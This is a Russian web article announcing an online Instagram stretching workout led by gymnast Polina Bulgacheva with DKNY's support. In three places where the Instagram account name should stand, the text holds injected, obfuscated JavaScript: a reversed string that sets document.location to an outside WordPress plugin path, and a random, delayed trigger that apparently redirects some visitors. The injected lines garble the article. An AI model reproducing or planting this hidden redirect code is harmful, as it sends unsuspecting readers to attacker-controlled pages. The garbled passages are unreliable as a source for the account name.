В этот четверг, 16 апреля, в 19:00 в прямом эфире в инстаграме fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru состоится онлайн-тренировка по растяжке с элементами эстетической гимнастики при поддержке бренда DKNY. Приглашаем вас заниматься вместе с нами!
Тренировку проведёт Полина Булгачёва, мастер спорта по художественной и эстетической гимнастике, трёхкратная чемпионка Европы, обладательница Кубка РФ и РССС .
Что вас ждёт: стретчинг с элементами эстетической гимнастики, направленный на улучшение гибкости (если будете делать эту тренировку регулярно, то очень скоро сможете сесть на шпагат).
Что вы получите:
- подтянутое, гибкое тело;
- красивую осанку;
- отличное настроение;
- тонус в мышцах.
План тренировки:
- Разогрев.
- Разминка от шеи до стоп.
- Волны телом.
- Детальная растяжка всего тела.
- Заминка.
Модерировать эфир и заниматься вместе с вами будет редактор fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru Лена Калашникова. Подключайтесь к нам в 19:00 и выполняйте тренировку в режиме онлайн! (Для тех, кто пропустит, эфир будет доступен в течение 24 часов в инстаграме fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru).
Статьи по теме
Как сесть на шпагат за 30 дней: советы, ошибки и упражнения на гибкость
Бренд DKNY открыл первый в России магазин своей спортивной линейки
10 упражнений на растяжку, которые надо всегда делать после тренировки
Растяжка способна сделать вас более выносливым
